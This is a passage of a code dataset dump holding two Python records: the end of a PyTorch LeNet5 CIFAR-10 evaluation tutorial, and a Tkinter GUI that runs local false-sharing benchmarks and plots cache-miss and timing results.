train=True,\n download=True,\n transform=transform, #converts 0~255 value to 0~1 value.\n)\n\n# Download test data from open datasets.\ntest_data = datasets.CIFAR10(\n root=\"data\",\n train=False,\n download=True,\n transform=transform,\n)\n\nprint(f\"train dataset length = {len(training_data)}\")\nprint(f\"test dataset length = {len(test_data)}\")\n\nbatch_size = 64\n\n# Create data loaders.\ntrain_dataloader = DataLoader(training_data, batch_size=batch_size, shuffle=True)\ntest_dataloader = DataLoader(test_data, batch_size=batch_size, shuffle=True)\n\nfor X, y in test_dataloader:\n print(f\"Shape of X [N, C, H, W]: {X.shape} {y.dtype}\")\n print(f\"Shape of y: {y.shape} {y.dtype}\")\n break\n\n\nclasses = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\nimport matplotlib.pyplot as plt\n\ndataiter = iter(train_dataloader)\nimages, labels = next(dataiter)\n\nfigure = plt.figure()\nnum_of_images = 9\nfor index in range(num_of_images):\n plt.subplot(3, 3, index+1)\n plt.axis('off') \n plt.title(f\"Ground Truth: {classes[labels[index]]}\")\n plt.imshow(np.transpose((images[index] * 0.5 + 0.5).numpy(), (1, 2, 0))) # 출력을 위한 차원변환 (channels*rows*cols) -> (rows*cols*channels)\n \n\n# model = LeNet5().to(device)\nmodel = torch.load('trained_Lenet5(CIFAR10).pth')\n\nsummary(model, (3,32,32))\n\nloss_fn = nn.CrossEntropyLoss()\n\nepochs = 2\nfor t in range(epochs):\n print(f\"Epoch {t+1}\\n-------------------------------\")\n test(test_dataloader, model, loss_fn, device)\nprint(\"Done!\")\n\n\n# Get some random test images // BatchSize at a time\ndataiter = iter(test_dataloader)\nimages, labels = dataiter.next()\n\nimages = images.to(device)\nlabels = labels.to(device)\npred = model(images)\npredicted=pred.argmax(1);\n\nfigure = plt.figure()\nnum_of_images = 9\n\nfor index in range(num_of_images):\n plt.subplot(3, 3, index+1)\n plt.axis('off') \n plt.title(f\"Ground Truth: {classes[labels[index]]}\")\n plt.title(f\"{classes[predicted[index].item()]} (true:{classes[labels[index]]})\")\n plt.imshow(np.transpose((images[index] * 0.5 + 0.5).cpu().numpy().squeeze(), (1, 2, 0))) # 출력을 위한 차원변환 (channels*rows*cols) -> (rows*cols*channels)", "repo_name": "HanMinung/DLIP", "sub_path": "DeepLearning_Tutorial/2.Pytorch_LeNet5/LeNet5_Tutorial2.py", "file_name": "LeNet5_Tutorial2.py", "file_ext": "py", "file_size_in_byte": 3030, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.cuda.is_available", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.cuda.get_device_name", "line_number": 19, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 22, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 22, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 23, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 23, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 24, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 24, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 27, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 27, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 35, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "numpy.transpose", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 74, "usage_type": "call"}, {"api_name": "torchsummary.summary", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "numpy.transpose", "line_number": 104, "usage_type": "call"}]} {"seq_id": "37574876717", "text": "import time\nimport tkinter as tk\nimport os\nfrom PIL import Image,ImageTk,ImageFont\nimport tkinter.font as tkFont\nimport datetime\nimport matplotlib.pyplot as plt\nimport subprocess\n\n\nroot = tk.Tk()\nselectedTest=None\ntest_buttons={}\ncompareStatus={\"test1_s\":0,\"test1_m\":0,\"test1_sol1\":0,\"test1_sol2\":0,\"test2_s\":0,\"test2_m\":0,\"test2_sol1\":0,\"test2_sol2\":0}\nequivalences={\"test1_s\":\"benchmarkOne\",\"test1_m\":\"benchmarkOne\",\"test1_sol1\":\"benchmarkOneS1\",\"test1_sol2\":\"benchmarkOneS2\",\"test2_s\":\"benchmarkTwo\",\"test2_m\":\"benchmarkTwo\",\"test2_sol1\":\"benchmarkTwoS1\",\"test2_sol2\":\"benchmarkTwoS2\"}\ncompareButtons=[]\ndef setCompare(i):\n\n global compareStatus\n\n colors=[\"#1f1d20\",\"#47434c\"]\n\n tests=available_for_compare()\n\n test=tests[i]\n\n compareStatus[test]=not compareStatus[test]\n compare_button=compareButtons[i]\n compare_button.config(bg=colors[i%2])\n if(compareStatus[test]):\n\n compare_button.config(bg=\"#062239\")\n\ndef doCompare():\n\n testCompare=[]\n\n plt.clf()\n\n for key in list(compareStatus.keys()):\n\n if(compareStatus[key]):\n\n testCompare+=[key]\n\n plt.subplot(3, 1, 1)\n\n for test in testCompare:\n\n inputs = parseResults(\"output_\" + test + \".txt\")\n\n iterations = range(len(inputs[list(inputs.keys())[0]]))\n\n plt.subplot(3, 1, 1)\n plt.plot(iterations, inputs[\"L1-dcache-load-misses\"], label=test)\n plt.title(\"Iterations Vs Cache Misses\")\n\n plt.subplot(3, 1, 2)\n plt.plot(iterations, inputs[\"L1-dcache-loads\"],label=test)\n plt.title(\"Iterations Vs Cache Loads\")\n\n plt.subplot(3, 1, 3)\n plt.plot(iterations, inputs[\"time\"],label=test)\n plt.title(\"Iterations Vs Time per Iteration\")\n\n plt.tight_layout()\n plt.legend()\n plt.savefig(\"comparison.png\")\n\n compare_window = tk.Toplevel(root)\n\n compare_window.title(\"False Sharing Analysis Tool\")\n compare_window.geometry(\"700x565\")\n compare_window.configure(bg=\"#28262b\")\n compare_window.resizable(width=False, height=False)\n # compare_window.wm_attributes('-type', 'splash')\n compare_window.configure(borderwidth=2, relief=\"solid\")\n\n window_tk_font = tk.font.Font(family=\"Share Tech Mono\", size=12)\n\n benchmark_label = tk.Label(compare_window, text=\"Comparison Results\", font=window_tk_font, fg=\"#55ed64\",bg=\"#28262b\")\n benchmark_label.place(x=0, y=1)\n\n graph_panel = tk.Frame(compare_window, bg=\"#353238\", width=696, height=536)\n graph_panel.place(x=0, y=25)\n\n image = Image.open(\"comparison.png\")\n graph_image = ImageTk.PhotoImage(image)\n\n graph_image_label = tk.Label(graph_panel, image=graph_image, width=640, height=480)\n graph_image_label.image = graph_image\n graph_image_label.place(x=30, y=30)\n\ndef kill_compare():\n global compare_window,compareButtons\n\n for key in list(compareStatus.keys()):\n compareStatus[key]=0\n\n compareButtons = []\n compare_window.destroy()\n\ndef setTest(test):\n\n global execute_button,selectedTest,test_results_button\n\n selectedTest=test\n\n if(test in list(compareStatus.keys())):\n\n execute_button.config(state=\"normal\")\n\n else:\n\n execute_button.config(state=\"disabled\")\n\n for key in list(test_buttons.keys()):\n\n if(key == test):\n\n test_buttons[key].config(bg=\"#55ed64\", fg=\"#062239\")\n else:\n\n test_buttons[key].config(fg=\"#55ed64\", bg=\"#062239\")\n\n exists_data=parseResults(\"output_\"+test+\".txt\")\n\n if(exists_data!=-1):\n\n test_results_button.config(state=\"normal\")\n\n else:\n\n test_results_button.config(state=\"disabled\")\n\ndef available_for_compare():\n\n available=[]\n\n for test in equivalences.keys():\n\n exists_data = parseResults(\"output_\" + test + \".txt\")\n\n if (exists_data != -1):\n\n available+=[test]\n\n return available\n\n\n\ndef getSpecs():\n\n global wait_window\n\n specs_path=\"specs.txt\"\n\n showWaitWindow(\"Fetching system information, please wait\")\n\n try:\n os.remove(specs_path)\n except:\n\n None\n\n file = open(specs_path, \"w\")\n file.close()\n\n os.system(f\"./systemInfo t >> specs.txt\")\n initial_time=datetime.datetime.now()\n fail=False\n\n while(True):\n\n current_time=datetime.datetime.now()\n\n seconds=(current_time-initial_time).seconds\n\n if (os.path.exists(specs_path)):\n break\n\n if(seconds>=60):\n\n fail=True\n break\n if(fail):\n\n destroyWaitWindow()\n showWaitWindow(\"Failed to retrieve information\")\n time.sleep(2)\n destroyWaitWindow()\n test_window.deiconify()\n else:\n\n\n destroyWaitWindow()\n showWaitWindow(\"Spec can be found at: \"+specs_path)\n time.sleep(2)\n destroyWaitWindow()\n os.system(f\"gedit specs.txt\")\n test_window.deiconify()\n\n\n\ndef getThreadsPerCore():\n # Run the lscpu command and capture its output\n command = \"lscpu | grep 'Thread(s) per core'\"\n output = subprocess.check_output(command, shell=True, text=True)\n\n # Parse the value from the output\n lines = output.strip().split('\\n')\n if lines:\n line = lines[0]\n parts = line.split(':')\n if len(parts) == 2:\n threads_per_core = int(parts[1].strip())\n #print(\"Threads per core:\", threads_per_core)\n return threads_per_core\n return None\n\ndef getCoresPerSocket():\n # Run the lscpu command and capture its output\n command = \"lscpu | grep 'Core(s) per socket'\"\n output = subprocess.check_output(command, shell=True, text=True)\n\n # Parse the value from the output\n lines = output.strip().split('\\n')\n if lines:\n line = lines[0]\n parts = line.split(':')\n if len(parts) == 2:\n cores_per_socket = int(parts[1].strip())\n #print(\"Cores per socket:\", cores_per_socket)\n return cores_per_socket\n return None\n\n\ndef executeBench():\n test_equivalence=equivalences[selectedTest]\n cores=1\n if(selectedTest in [\"test1_m\",\"test1_sol1\",\"test1_sol2\",\"test2_m\",\"test2_sol1\",\"test2_sol2\"]):\n\n threadsPerCore = getThreadsPerCore()\n coresPerSocket = getCoresPerSocket()\n totalThreads = threadsPerCore * coresPerSocket\n\n cores=totalThreads\n\n output_path=f\"output_{selectedTest}.txt\"\n if not os.path.exists(output_path):\n file = open(output_path, \"w\")\n file.close()\n\n result=-1\n fail=False\n showWaitWindow(\"Executing Benchmark, please wait\")\n\n initial_time=datetime.datetime.now()\n result=os.system(f\"./controller {test_equivalence} {cores} {selectedTest}\")\n\n while(result==-1):\n\n current_time = datetime.datetime.now()\n\n seconds = (current_time - initial_time).seconds\n\n if (seconds >= 60):\n fail = True\n break\n\n if (fail):\n\n destroyWaitWindow()\n showWaitWindow(\"Failed to execute benchmark\")\n\n else:\n\n destroyWaitWindow()\n showWaitWindow(\"Test executed successfully\")\n\n time.sleep(2)\n destroyWaitWindow()\n test_window.deiconify()\n\ndef clearOutput():\n\n os.system(\"find -type f -name '*output*' -exec rm {} \\;\")\n\ndef init():\n\n\n # Customize the window\n root.title(\"False Sharing Analysis Tool\")\n root.geometry(\"800x300\")\n root.configure(bg=\"#353238\")\n root.resizable(width=False, height=False)\n #root.wm_attributes('-type', 'splash')\n root.configure(borderwidth=2, relief=\"solid\")\n\n left_image = Image.open(\"Assets/Images/circuitry_left.jpg\") # Replace with your image file path\n left_panel_image = ImageTk.PhotoImage(left_image)\n\n left_panel = tk.Frame(root, bg=\"blue\", width=150, height=290)\n left_panel.place(x=0,y=0)\n\n left_line = tk.Frame(root, bg=\"black\", width=2, height=300)\n left_line.place(x=145, y=0)\n\n left_image_label = tk.Label(left_panel, image=left_panel_image, width=145, height=294)\n left_image_label.image = left_panel_image # Keep a reference to the image to prevent it from being garbage collected\n left_image_label.pack()\n\n right_image = Image.open(\"Assets/Images/circuitry_right.jpg\") # Replace with your image file path\n right_panel_image = ImageTk.PhotoImage(right_image)\n\n right_panel = tk.Frame(root, bg=\"blue\", width=150, height=290)\n right_panel.place(x=640, y=0)\n\n right_line = tk.Frame(root, bg=\"black\", width=2, height=300)\n right_line.place(x=640, y=0)\n\n right_image_label = tk.Label(right_panel, image=right_panel_image, width=154, height=294)\n right_image_label.image = right_panel_image # Keep a reference to the image to prevent it from being garbage collected\n right_image_label.pack()\n\n title_tk_font = tkFont.Font(family=\"Share Tech Mono\", size=20)\n\n title_label_mp=tk.Label(root, text=\"MP Programming\",font=title_tk_font, fg=\"#55ed64\", bg=\"#353238\")\n title_label_mp.place(x=290,y=20)\n\n title_label_and = tk.Label(root, text=\"&\", font=title_tk_font,fg=\"#55ed64\", bg=\"#353238\")\n title_label_and.place(x=390, y=70)\n\n title_label_fs = tk.Label(root, text=\"False Sharing Analysis\", font=title_tk_font,fg=\"#55ed64\", bg=\"#353238\")\n title_label_fs.place(x=240, y=120)\n\n beg_button=tk.Button(root, text=\"Begin\", bg=\"#062239\",borderwidth=1, relief=\"solid\",font=title_tk_font,fg=\"#55ed64\",highlightthickness=0, command=showTestsWindow)\n beg_button.place(x=340, y=190)\n\n # Start the Tkinter main event loop\n root.mainloop()\n\ndef showWaitWindow(message):\n\n global wait_window,test_window\n\n root.withdraw()\n test_window.withdraw()\n\n regular_tk_font = tk.font.Font(family=\"Share Tech Mono\", size=12)\n\n wait_window = tk.Toplevel(root)\n wait_window.title(\"False Sharing Analysis Tool\")\n wait_window.geometry(\"500x75\")\n wait_window.configure(bg=\"#062239\")\n wait_window.resizable(width=False, height=False)\n wait_window.wm_attributes('-type', 'splash')\n wait_window.configure(borderwidth=2, relief=\"solid\")\n\n message_label = tk.Label(wait_window, text=message, font=regular_tk_font, fg=\"#55ed64\", bg=\"#062239\")\n message_label.pack(padx=10, pady=20)\n\n wait_window.lift()\n wait_window.update()\n\ndef destroyWaitWindow():\n\n global wait_window\n\n wait_window.destroy()\ndef showTestsWindow():\n\n global test_window,execute_button,test_results_button\n\n test_window = tk.Toplevel(root)\n root.withdraw()\n test_window.title(\"False Sharing Analysis Tool\")\n test_window.geometry(\"800x400\")\n test_window.configure(bg=\"#353238\")\n test_window.resizable(width=False, height=False)\n #test_window.wm_attributes('-type', 'splash')\n test_window.configure(borderwidth=2, relief=\"solid\")\n test_window.protocol(\"WM_DELETE_WINDOW\", root.destroy)\n\n upper_bar = tk.Frame(test_window, bg=\"#28262b\", width=796, height=25)\n upper_bar.place(x=0, y=0)\n\n left_panel = tk.Frame(test_window, bg=\"#1f1d20\", width=220, height=365)\n left_panel.place(x=0, y=25)\n\n left_line = tk.Frame(test_window, bg=\"#0a0a0b\", width=2, height=370)\n left_line.place(x=220, y=25)\n\n l_left_panel = tk.Frame(test_window, bg=\"#353238\", width=220, height=90)\n l_left_panel.place(x=0, y=300)\n\n l_right_panel = tk.Frame(test_window, bg=\"#1f1d20\", width=574, height=96)\n l_right_panel.place(x=222, y=300)\n\n image = Image.open(\"Assets/Images/circuitry_left.jpg\") # Replace with your image file path\n panel_image = ImageTk.PhotoImage(image)\n\n panel_image_label = tk.Label(l_left_panel, image=panel_image, width=218, height=94)\n panel_image_label.image = panel_image # Keep a reference to the image to prevent it from being garbage collected\n panel_image_label.pack()\n\n panel_line = tk.Frame(test_window, bg=\"#0a0a0b\", width=795, height=2)\n panel_line.place(x=0, y=300)\n\n window_tk_font = tk.font.Font(family=\"Share Tech Mono\", size=12)\n regular_tk_font = tk.font.Font(family=\"Share Tech Mono\", size=14)\n\n benchmark_label = tk.Label(test_window, text=\"Benchmarks\", font=window_tk_font, fg=\"#55ed64\", bg=\"#28262b\")\n benchmark_label.place(x=0,y=1)\n\n single_thread_label = tk.Label(test_window, text=\"> Benchmark 1 (C)\", font=regular_tk_font, fg=\"#55ed64\", bg=\"#1f1d20\")\n single_thread_label.place(x=20, y=85)\n\n multi_thread_label = tk.Label(test_window, text=\"> Benchmark 2 (C++)\", font=regular_tk_font, fg=\"#55ed64\",bg=\"#1f1d20\")\n multi_thread_label.place(x=20, y=205)\n\n image = Image.open(\"Assets/Images/compare.png\") # Replace with your image file path\n compare_image = ImageTk.PhotoImage(image)\n compare_button = tk.Button(test_window, image=compare_image, bg=\"#1f1d20\", borderwidth=0,relief=\"solid\", highlightthickness=0, command=showCompare)\n compare_button.photo = compare_image\n compare_button.place(x=694, y=335)\n\n\n clear_button = tk.Button(test_window, text=\"Clear Output\", bg=\"#062239\", borderwidth=1, relief=\"solid\", font=regular_tk_font,\n fg=\"#55ed64\", highlightthickness=0, command=clearOutput)\n clear_button.place(x=230, y=330)\n\n specs_button = tk.Button(test_window, text=\"System Specs\", bg=\"#062239\", borderwidth=1, relief=\"solid\",\n font=regular_tk_font,\n fg=\"#55ed64\", highlightthickness=0, command=getSpecs)\n specs_button.place(x=380, y=330)\n\n execute_button=tk.Button(test_window, text=\"Execute\", bg=\"#55ed64\", fg=\"#062239\",borderwidth=1,state=\"disabled\" ,relief=\"solid\", font=regular_tk_font, highlightthickness=0, command=executeBench)\n execute_button.place(x=530, y=330)\n\n image = Image.open(\"Assets/Images/examen.png\") # Replace with your image file path\n results_image = ImageTk.PhotoImage(image)\n test_results_button = tk.Button(test_window, image=results_image, bg=\"#1f1d20\", borderwidth=0, state=\"disabled\",relief=\"solid\", highlightthickness=0, command=showResults)\n test_results_button.photo = results_image\n test_results_button.place(x=650, y=335)\n\n test1_panel = tk.Frame(test_window, bg=\"#47434c\", width=574, height=42)\n test1_panel.place(x=222, y=80)\n\n test2_panel = tk.Frame(test_window, bg=\"#47434c\", width=574, height=42)\n test2_panel.place(x=222, y=200)\n\n test1_single_button = tk.Button(test_window, text=\"> Single T.\", bg=\"#062239\", borderwidth=1, relief=\"solid\",font=window_tk_font,fg=\"#55ed64\", highlightthickness=0, command=lambda:setTest(\"test1_s\"))\n test1_single_button.place(x=230, y=85)\n test_buttons[\"test1_s\"]=test1_single_button\n\n\n test1_multi_button = tk.Button(test_window, text=\"> Multi T.\", bg=\"#062239\", borderwidth=1, relief=\"solid\",font=window_tk_font,fg=\"#55ed64\", highlightthickness=0, command=lambda:setTest(\"test1_m\"))\n test1_multi_button.place(x=360, y=85)\n test_buttons[\"test1_m\"] = test1_multi_button\n\n test1_sol1_button = tk.Button(test_window, text=\"> Sol. 1\", bg=\"#062239\", borderwidth=1, relief=\"solid\",font=window_tk_font,fg=\"#55ed64\", highlightthickness=0, command=lambda:setTest(\"test1_sol1\"))\n test1_sol1_button.place(x=480, y=85)\n test_buttons[\"test1_sol1\"] = test1_sol1_button\n\n test1_sol2_button = tk.Button(test_window, text=\"> Sol. 2\", bg=\"#062239\", borderwidth=1, relief=\"solid\",font=window_tk_font,fg=\"#55ed64\", highlightthickness=0, command=lambda:setTest(\"test1_sol2\"))\n test1_sol2_button.place(x=582, y=85)\n test_buttons[\"test1_sol2\"] = test1_sol2_button\n\n test2_single_button = tk.Button(test_window, text=\"> Single T.\", bg=\"#062239\", borderwidth=1, relief=\"solid\",font=window_tk_font,fg=\"#55ed64\", highlightthickness=0, command=lambda:setTest(\"test2_s\"))\n test2_single_button.place(x=230, y=205)\n test_buttons[\"test2_s\"] = test2_single_button\n\n test2_multi_button = tk.Button(test_window, text=\"> Multi T.\", bg=\"#062239\", borderwidth=1, relief=\"solid\",font=window_tk_font,fg=\"#55ed64\", highlightthickness=0, command=lambda:setTest(\"test2_m\"))\n test2_multi_button.place(x=360, y=205)\n test_buttons[\"test2_m\"] = test2_multi_button\n\n test2_sol1_button = tk.Button(test_window, text=\"> Sol. 1\", bg=\"#062239\", borderwidth=1, relief=\"solid\",font=window_tk_font,fg=\"#55ed64\", highlightthickness=0, command=lambda:setTest(\"test2_sol1\"))\n test2_sol1_button.place(x=480, y=205)\n test_buttons[\"test2_sol1\"] = test2_sol1_button\n\n test2_sol2_button = tk.Button(test_window, text=\"> Sol. 2\", bg=\"#062239\", borderwidth=1, relief=\"solid\",font=window_tk_font,fg=\"#55ed64\", highlightthickness=0, command=lambda:setTest(\"test2_sol2\"))\n test2_sol2_button.place(x=582, y=205)\n test_buttons[\"test2_sol2\"] = test2_sol2_button\n\n os.chdir(\"Benchmark_Scripts/\")\n\ndef showResults():\n\n global test_window,results_window\n\n results_window = tk.Toplevel(root)\n\n results_window.title(\"False Sharing Analysis Tool\")\n results_window.geometry(\"700x565\")\n results_window.configure(bg=\"#28262b\")\n results_window.resizable(width=False, height=False)\n #results_window.wm_attributes('-type', 'splash')\n results_window.configure(borderwidth=2, relief=\"solid\")\n\n window_tk_font = tk.font.Font(family=\"Share Tech Mono\", size=12)\n\n benchmark_label = tk.Label(results_window, text=selectedTest+\" results\", font=window_tk_font, fg=\"#55ed64\", bg=\"#28262b\")\n benchmark_label.place(x=0, y=1)\n\n graph_panel = tk.Frame(results_window, bg=\"#353238\", width=696, height=536)\n graph_panel.place(x=0, y=25)\n\n doGraphs(parseResults(\"output_\"+selectedTest+\".txt\"), \"output_\"+selectedTest)\n\n image = Image.open(\"output_\"+selectedTest+\".png\") # Replace with your image file path\n graph_image = ImageTk.PhotoImage(image)\n\n graph_image_label = tk.Label(graph_panel, image=graph_image, width=640, height=480)\n graph_image_label.image = graph_image # Keep a reference to the image to prevent it from being garbage collected\n graph_image_label.place(x=30, y=30)\n\ndef showCompare():\n\n global test_window, results_window,compare_window\n\n compare_window = tk.Toplevel(root)\n compare_window.title(\"False Sharing Analysis Tool\")\n\n window_tk_font = tk.font.Font(family=\"Share Tech Mono\", size=12)\n\n tests=available_for_compare()\n\n height=len(tests)*25\n\n compare_window.geometry(\"559x100\")\n if(len(tests)>0):\n compare_window.geometry(\"559x\"+str(height+25+8+50))\n test_panel = tk.Frame(compare_window, bg=\"#353238\", width=555, height=len(tests)*25+3)\n test_panel.place(x=0, y=25)\n\n compare_window.configure(bg=\"#28262b\")\n compare_window.resizable(width=False, height=False)\n compare_window.configure(borderwidth=2, relief=\"solid\")\n compare_window.protocol(\"WM_DELETE_WINDOW\", kill_compare)\n\n available_label = tk.Label(compare_window ,text=\"Available Tests Results for Comparison:\", font=window_tk_font, fg=\"#55ed64\",bg=\"#28262b\")\n available_label.place(x=0, y=2)\n\n if(len(tests)==0):\n benchmark_label = tk.Label(compare_window ,text=\"> No test results available to compare\", font=window_tk_font, fg=\"#55ed64\",bg=\"#28262b\")\n benchmark_label.place(x=0, y=30)\n\n else:\n\n colors=[\"#1f1d20\",\"#47434c\"]\n\n for i in range(len(tests)):\n compare_button = tk.Button(compare_window,text=tests[i],font=window_tk_font, fg=\"#55ed64\",bg=colors[i%2],borderwidth=0, relief=\"solid\",highlightthickness=0,anchor='w', command=lambda p=i: setCompare(p))\n compare_button.place(x=0, y=25+i*25)\n compare_button.config(width=59)\n compareButtons.append(compare_button)\n\n compare_button = tk.Button(compare_window, text=\"Compare\", font=window_tk_font, fg=\"#55ed64\", bg=colors[i % 2],borderwidth=1, relief=\"solid\", highlightthickness=0, anchor='w', command=doCompare)\n compare_button.place(x=450, y= len(tests)*25+3+37)\n\ndef parseResults(filename):\n\n file_path = filename # Replace with your file path\n\n try:\n with open(file_path, \"r\") as file:\n\n inputs=file.read().split(\"$\")\n\n for j in range(len(inputs)):\n input = inputs[j]\n lines=input.split(\"\\n\")\n components=[]\n for line in lines:\n components+=line.split(\" \")\n\n components = [component for component in components if component != '']\n output={}\n for i in range(len(components)):\n\n\n component = components[i].replace('\\u202f',\"\")\n components[i]=component\n\n if(component == 'L1-dcache-loads'):\n\n output[component]=float(components[i-1])\n\n elif(component == 'L1-dcache-load-misses'):\n\n output[component] = float(components[i - 1])\n\n elif (component == 'time'):\n\n output[component] = float(components[i - 2].replace(\",\",\".\"))\n\n inputs[j]=output\n\n output={\"L1-dcache-load-misses\":[],\"L1-dcache-loads\":[],\"time\":[]}\n\n for input in inputs:\n\n for key in input.keys():\n\n output[key]=output[key]+[input[key]]\n\n return output\n\n except:\n\n return -1\n\ndef doGraphs(inputs,outputFile):\n\n plt.clf()\n\n iterations=range(len(inputs[list(inputs.keys())[0]]))\n\n plt.subplot(3,1,1)\n plt.plot(iterations,inputs[\"L1-dcache-load-misses\"])\n plt.title(\"Iterations Vs Cache Misses\")\n\n plt.subplot(3, 1, 2)\n plt.plot(iterations, inputs[\"L1-dcache-loads\"])\n plt.title(\"Iterations Vs Cache Loads\")\n\n plt.subplot(3, 1, 3)\n plt.plot(iterations, inputs[\"time\"])\n plt.title(\"Iterations Vs Time per Iteration\")\n\n plt.tight_layout()\n\n\n plt.savefig(outputFile)\n\n\n\ninit()\n#doGraphs(parseResults(\"output_test1_s.txt\"),\"output_test1_s\")", "repo_name": "papmora/Proyecto1_Arqui2", "sub_path": "GUI_Implementation/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 21590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "tkinter.Tk", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "tkinter.Toplevel", "line_number": 70, "usage_type": "call"}, {"api_name": "tkinter.font.Font", "line_number": 79, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 79, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 81, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 84, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 87, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 87, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 88, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 88, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 90, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 161, "usage_type": "call"}, {"api_name": "os.system", "line_number": 169, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 170, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 170, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 175, "usage_type": "call"}, {"api_name": "datetime.datetime", 